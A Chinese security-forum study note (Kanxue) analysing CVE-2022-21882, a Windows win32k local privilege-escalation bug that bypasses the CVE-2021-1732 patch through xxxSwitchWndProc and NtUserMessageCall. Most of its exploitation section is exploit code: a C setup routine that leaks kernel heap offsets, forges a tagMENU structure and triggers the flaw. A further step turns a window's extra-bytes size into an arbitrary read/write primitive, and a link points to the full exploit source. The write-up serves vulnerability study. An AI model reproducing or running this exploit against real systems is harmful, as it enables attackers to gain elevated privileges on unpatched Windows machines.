CVE-2022-21882提权漏洞学习笔记

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看雪论坛作者ID：1900

一
前言

1.漏洞描述

该漏洞的成因及利用基本上和CVE-2021-1732一样，可以认为该漏洞是在对CVE-2021-1732漏洞进行补丁之后，绕过该补丁达成漏洞利用。在对CVE-2021-1732补丁后，在xxxCreateWindowEx函数调用过程中，会在调用xxxClientAllocWindowClassExtraBytes申请扩展内存后，会对窗口对象的偏移0x128处的pExtraBytes进行验证，以此来验证是否在执行用户层函数时被修改。然而，该补丁仅针对xxxCreateWindowEx函数，在后面的Windows版本中，出现了新的函数会调用xxxClientAllocWindowClassExtraBytes函数，而这些函数没有对pExtraBytes进行验证，导致可以通过这些新函数来实现对窗口对象偏移0xE8的Flags以及0x128的pExtraBytes进行修改。

2.实验环境

• 操作系统：Win10 x64 21H2 专业版

• 编译器：Visual Studio 2017

• 调试器：IDA Pro, WinDbg

二
漏洞分析

1.CVE-2021-1732补丁分析

在对CVE-2021-1732进行补丁之后，xxxCreateWindowEx函数会在申请扩展内存之后，会调用tagWND::RedirectedFieldpExtraBytes::operator函数来对窗口对象进行验证，如果该函数返回1，则函数接下来就会释放窗口对象，然后直接退出函数，而不执行下面的对pExtraBytes成员的赋值：

__int64 __fastcall xxxCreateWindowEx(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, unsigned int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, unsigned int a14, int a15, int a16, __int64 a17)
{
  cbwndExtra = *(unsigned int *)(*((_QWORD *)tagWND + 5) + 0xC8i64);
  if ( !(_DWORD)cbwndExtra )
    goto LABEL_211;
  pBuffer = xxxClientAllocWindowClassExtraBytes(cbwndExtra);        // 申请扩展内存
  v355 = pBuffer;
  if ( !pBuffer )
  {
    v273 = 2;
    if ( *((_DWORD *)tagWND + 2) != 1 )
      goto LABEL_538;
    goto LABEL_197;
  }

  // 对窗口对象进行验证
  if ( (unsigned int)IsWindowBeingDestroyed((__int64)tagWND)
    || (*(_BYTE *)(_HMPheFromObject(v95) + 0x19) & 1) != 0
    || (zero = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=<unsigned __int64>((__int64)tagWND + 0x140, &zero)) )
  {
    xxxFreeWindow(tagWND);                                              // 释放窗口
    if ( v113 )
      goto LABEL_553;
    goto LABEL_37;                                                      // 退出函数
  }

  *(_QWORD *)(tagWNDK + 0x128) = pBuffer;                               // 为pExtraBytes成员赋值
}

xxxCreateWindowEx调用tagWND::RedirectedFieldpExtraBytes::operator验证函数的时候，传入的是tagWND + 0x140和值为0的zero这两个参数，而验证函数代码则如下，所以该函数就是在验证*(*(tagWND + 0x140 - 0x118) + 0x128) = *(*(tagWND + 0x28) + 0x128)是否不等于NULL，就是在验证pExtraBytes是否已经被写入，因为在xxxCreateWindowEx函数会在验证通过之后才为pExtraBytes成员赋值，如果验证时候该值已经不为NULL，就说明在用户层函数被劫持了：

然而，该补丁是打在xxxCreateWindowEx函数中，函数xxxClientAllocWindowClassExtraBytes并没有任何变化，该补丁可以在原来的系统中起到保护作用。可是在之后的系统中，增加了不同的函数可以调用xxxClientAllocWindowClassExtraBytes，其中就包括了xxxSwitchWndProc。因此可以通过该函数来实现对窗口对象的Flags和pExtraBytes成员进行修改，最终达成利用：

2.xxxSwitchWndProc函数分析

在xxxSwitchWndProc函数中，会判断窗口对象是否存在扩展内存，如果存在扩展内存，则会调用xxxClientAllocWindowClassExtraBytes函数来申请内存。随后，函数会重新为pExtraBytes成员进行赋值，并调用xxxClientFreeWindowClassExtraBytes函数将原来pExtraBytes指向的内存释放掉。因此，可以通过xxxSwitchWndProc函数来实现xxxClientAllocWindowClassExtraBytes函数的调用，并通过劫持相应的用户层函数，可以实现对pExtraBytes的修改：

三
漏洞利用

1.xxxSwitchWndProc函数的调用

通过交叉引用可以看到，xxxSwitchWndProc函数由xxxWrapSwitchWndProc函数调用的。

xxxSwitchWndProc函数则由NtUserMessageCall函数开始一步步调用到，该函数的定义如下：

typedef NTSTATUS (__fastcall *lpfnNtUserMessageCall)(HWND hWnd, 
                                                     UINT msg, 
                                                     WPARAM wParam, 
                                                     LPARAM lParam, 
                                                     ULONG_PTR ResultInfo, 
                                                     DWORD dwType, 
                                                     BOOL bAnsi);

当msg小于0x400的时候，将会根据msg，从MessageTable数组中取出相应的下标，在使用该下标从gapfnMessageCall数组中找到要执行的函数：

当msg为WM_CREATE(0x1)的时候，从MessageTable中取出的下标将为4：

gapfnMessageCall数组中，下标为4对应的函数为NtUserfnOUTSTRING：

NtUserfnOUTSTRING函数会将(dwType + 6) & 0x1F得到的下标从mpFnidPfn数组中取出要执行的函数：

mpFnidPfn数组在InitFunctionTables函数中被初始化，其中下标为6的元素就被初始化为xxxWrapSwitchWndProc函数。因此，当参数dwType为0的时候，NtUserfnOutSTRING函数就会调用xxxWrapSwitchWndProc函数：

2.利用过程

此时，对tagWND->pExtraBytes以及tagWND->Flags成员的修改，是通过调用NtUserMessageCall，利用该函数会调用xxxClientAllocClassExtraBytes来实现修改的。所以，此时不需要通过申请大量窗口，并释放掉其他部分窗口的方式来找到触发漏洞的窗口。所以，此时只需要创建两个用来实现任意地址读写以及触发漏洞的窗口：

BOOL Init_CVE_2022_21882()
{
    BOOL bRet = TRUE;
    DWORD i = 0;

    lHMValidateHandle HMValidateHandle = NULL;

    HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
    if (!HMValidateHandle)
    {
        bRet = FALSE;
        goto exit;
    }

    HMODULE hNtDll = NULL, hWin32Dll = NULL;

    hNtDll = LoadLibrary("ntdll.dll");
    hWin32Dll = LoadLibrary("win32u.dll");

    if (!hNtDll || !hWin32Dll)
    {
        bRet = FALSE;
        ShowError("LoadLibrary", GetLastError());
        goto exit;
    }

    fnNtCallbackReturn = (lpfnNtCallbackReturn)GetProcAddress(hNtDll, "NtCallbackReturn");
    fnNtUserConsoleControl = (lpfnNtUserConsoleControl)GetProcAddress(hWin32Dll, "NtUserConsoleControl");
    fnNtUserMessageCall = (lpfnNtUserMessageCall)GetProcAddress(hWin32Dll, "NtUserMessageCall");

    if (!fnNtCallbackReturn || !fnNtUserConsoleControl || !fnNtUserMessageCall)
    {
        bRet = FALSE;
        ShowError("GetProcAddress", GetLastError());
        goto exit;
    }

    HINSTANCE handle = NULL;

    handle = GetModuleHandle(NULL);
    if (!handle)
    {
        bRet = FALSE;
        ShowError("GetModuleHandle", GetLastError());
        goto exit;
    }

    WNDCLASSEX wndClass = { 0 };
    PCHAR pClassName = "leak";

    wndClass.cbWndExtra = 0x20;
    wndClass.cbSize = sizeof(wndClass);
    wndClass.style = CS_VREDRAW | CS_HREDRAW;
    wndClass.hInstance = handle;
    wndClass.lpfnWndProc = DefWindowProc;
    wndClass.lpszClassName = pClassName;

    if (!RegisterClassEx(&wndClass))
    {
        bRet = FALSE;
        ShowError("RegisterClassEx", GetLastError());
        goto exit;
    }

    HMENU hMenu = NULL, hHelpMenu = NULL;
    HWND hWnd = NULL;

    for (i = 0; i < 2; i++)
    {
        if (i == 1)
        {
            // 从第1个tagWND开始将带有tagMENU对象
            hMenu = CreateMenu();
            hHelpMenu = CreateMenu();
            if (!hMenu || !hHelpMenu)
            {
                bRet = FALSE;
                ShowError("CreateMenu", GetLastError());
                goto exit;
            }

            if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
                !AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
            {
                bRet = FALSE;
                ShowError("AppendMenu", GetLastError());
                goto exit;
            }
        }

        hWnd = CreateWindowEx(WS_EX_NOACTIVATE,
                              pClassName,
                              NULL,
                              WS_DISABLED,
                              0, 0, 0, 0,
                              NULL,
                              hMenu,
                              handle,
                              NULL);
        if (!hWnd) continue;

        g_hWnd[i] = hWnd;
        g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);

        if (i == 0)
        {
            g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);
            BYTE bInfo[0x10] = { 0 };
            *(HWND *)bInfo = g_hWnd[0];
            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));

            g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);
        }
    }

    g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);

    if (g_qwWndOffset > g_qwKernelHeapOffset1)
    {
        bRet = FALSE;
        printf("g_pWnd[0] offset is invalid!\n");
        goto exit;
    }

    g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;

    PCHAR pTriggerName = "Trigger";
    WNDCLASSEX wc = { 0 };

    wc.cbSize = sizeof(wc);
    wc.lpfnWndProc = DefWindowProc;
    wc.style = CS_VREDRAW | CS_HREDRAW;
    wc.cbWndExtra = g_dwWndExtra;         // 指定特定的大小
    wc.hInstance = handle;
    wc.lpszClassName = pTriggerName;

    if (!RegisterClassEx(&wc))
    {
        bRet = FALSE;
        ShowError("RegisterClassEx", GetLastError());
        goto exit;
    }

    g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,
                                   pTriggerName,
                                   NULL,
                                   WS_DISABLED,
                                   0, 0, 0, 0,
                                   NULL,
                                   NULL,
                                   handle,
                                   NULL);

    if (!g_hTriggerWnd)
    {
        bRet = FALSE;
        ShowError("CreateWindowEx", GetLastError());
        goto exit;
    }

    // 伪造tagMENU
    HANDLE hProcHeap = NULL;

    hProcHeap = GetProcessHeap();
    if (!hProcHeap)
    {
        bRet = FALSE;
        ShowError("GetProcessHeap", GetLastError());
        goto exit;
    }

    DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
    g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
    if (!g_qwMenu)
    {
        bRet = FALSE;
        ShowError("GetProcessHeap", GetLastError());
        goto exit;
    }

    *(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
    *(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;

    *(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
    *(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
    *(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
    *(PDWORD)(g_qwMenu + 0x40) = 1;
    *(PDWORD)(g_qwMenu + 0x44) = 2;

exit:
    return bRet;
}

接下来就可以通过NtUserMessageCall函数来调用xxxClientAllocWindowClassExtraBytes，在相应的用户层函数中，将会修改tagWND的Flags和pExtraBytes成员，之后就可以通过SetWindowLongPtr将tagWND0的cbwndExtra修改为0xFFFFFFFF：

fnNtUserMessageCall(g_hTriggerWnd, WM_CREATE, 0, 0, NULL, 0, FALSE);

// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFF
if (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset + 0x10, 0xFFFFFFFF) &&
    GetLastError() != 0)
{
    bRet = FALSE;
    ShowError("SetWindowLongPtr", GetLastError());
    goto exit;
}

在调用SetWindowLongPtr函数前后下断点，就可以看到，tagWND0的cbwndExtra被成功修改为0xFFFFFFFF，接下去的任意地址读写的实现就和CVE-2021-1732是一样的：

四
运行结果

完整代码保存在：https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2022-21882.cpp。编译运行就可以成功提权：

参考资料

https://blog.csdn.net/qq_41252520/article/details/124506261

https://www.anquanke.com/post/id/267197

https://www.anquanke.com/post/id/272305

看雪ID：1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创，转载请注明来自看雪社区

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